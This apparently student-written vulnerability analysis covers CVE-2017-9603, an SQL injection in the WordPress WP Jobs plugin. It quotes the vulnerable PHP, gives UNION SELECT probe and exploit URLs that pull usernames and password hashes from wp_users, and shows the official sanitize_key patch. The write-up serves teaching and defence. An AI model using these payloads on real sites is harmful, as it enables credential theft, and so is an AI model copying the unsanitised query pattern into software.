CVE-2017-9603 Analysis

SummaryI. CVE-2017-9603. WordPress Plugin WP Jobs -1, 'orderby' => 'postdate', 'order' => 'DESC', 'posttype' => 'job', 'poststatus' => 'publish', 'suppressfilters' => true); $j…

CVE-2017-9603

I. CVE-2017-9603

WordPress Plugin WP Jobs < 1.5 - SQL Injection

II. Vulnerability Analysis

The problem occurs in wp-jobs\wpjobs_applications.php, lines 10 through 62:

<?php
$job_id = $_REQUEST['jobid']; // read jobid
$jb_args = array(
    'posts_per_page' => -1,
    'orderby' => 'post_date',
    'order' => 'DESC',
    'post_type' => 'job',
    'post_status' => 'publish',
    'suppress_filters' => true);

$jobs = get_posts($jb_args);
?>
<form autocomplete="off" name="form" id="form">
    <?php _e('Filter by Job', 'wp-jobs'); ?> <select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent', this, 0)">
        <option value="edit.php?post_type=job&page=WPJobsJobApps">All Applications</option>
        <?php foreach ($jobs as $job_info) : setup_postdata($jobs); ?>
            <option <?php
            if ($job_info->ID == $job_id) {
                echo 'selected="selected"';
            }
            ?> value="edit.php?post_type=job&page=WPJobsJobApps&jobid=<?php echo $job_info->ID; ?>"><?php echo $job_info->post_title; ?></option>
         <?php
            endforeach;
            wp_reset_postdata();
            ?>
    </select>
</form>
<style>
    .dctrprt tr th, .dctrprt tr td {
        font-family:Arial, Helvetica, sans-serif;
        font-size:13px;
    }
</style>
<table class="widefat dctrprt">
    <tr>
        <th><strong><?php _e('S.No', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Job Title', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Full Name', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Email', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Phone Number', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Download Resume', 'wp-jobs'); ?></strong></th>
    </tr>
    <?php
    $tbl = $wpdb->prefix;
    $qry = "Select * from " . $tbl . "app_user_info ";
    if ($job_id <> "") {
        $qry .= " where app_job_id = " . $job_id; // passed straight into the SQL query
    }
    $qry .= " Order by `app_id` Desc ";
    $users = $wpdb->get_results($qry);
    $i = 1;
    foreach ($users as $user) {
?>

The cause is straightforward: after reading jobid from the request, the application performs no escaping or filtering. It only checks whether job_id is empty and then concatenates the value directly into the SQL statement, creating an SQL injection vulnerability. The following request demonstrates it:

http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin

1.png

When the number of columns is six, the application returns a distinctive page.

2.png

This confirms that the query has six columns. A MySQL monitoring tool reveals the SQL statement being executed:

3.png

We can see that the statement we constructed is concatenated into the SQL query and executed. Next, try reading the database version:

4.png

The query succeeds. The final exploit can be constructed as follows:

http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user_nicename AS CHAR),0x20),0x7430306c73,IFNULL(CAST(user_pass AS CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM wordpress.wp_users-- admin

5.png

III. Fix Here is the official fix:

6.png

In version 1.4:

<?php
$job_id = $_REQUEST['jobid'];
$jb_args = array(
    'posts_per_page' => -1,
    'orderby' => 'post_date',
    'order' => 'DESC',
    'post_type' => 'job',
    'post_status' => 'publish',
    'suppress_filters' => true);

$jobs = get_posts($jb_args);
?>

In version 1.5:

<?php
$job_id = isset($_REQUEST['jobid']) ? sanitize_key($_REQUEST['jobid']) : null;
$jb_args = array(
    'posts_per_page' => -1,
    'orderby' => 'post_date',
    'order' => 'DESC',
    'post_type' => 'job',
    'post_status' => 'publish',
    'suppress_filters' => true);

$jobs = get_posts($jb_args);
?>

The official patch applies WordPress's built-in sanitize_key function to jobid. It strips special characters and allows only letters, digits, hyphens, and underscores, thereby fixing the SQL injection vulnerability.

IV. Conclusion

The beginning of the semester was busy, and I was also working on a school project competition, so I had little time to study more interesting CVEs. I picked a numbered CVE from Exploit-DB almost at random. It turned out to be a routine injection vulnerability with little that was novel, and exploitation was limited because only administrators could access the WPJobsJobApps page. Still, it was a useful reminder that CVE research is approachable if you are willing to investigate.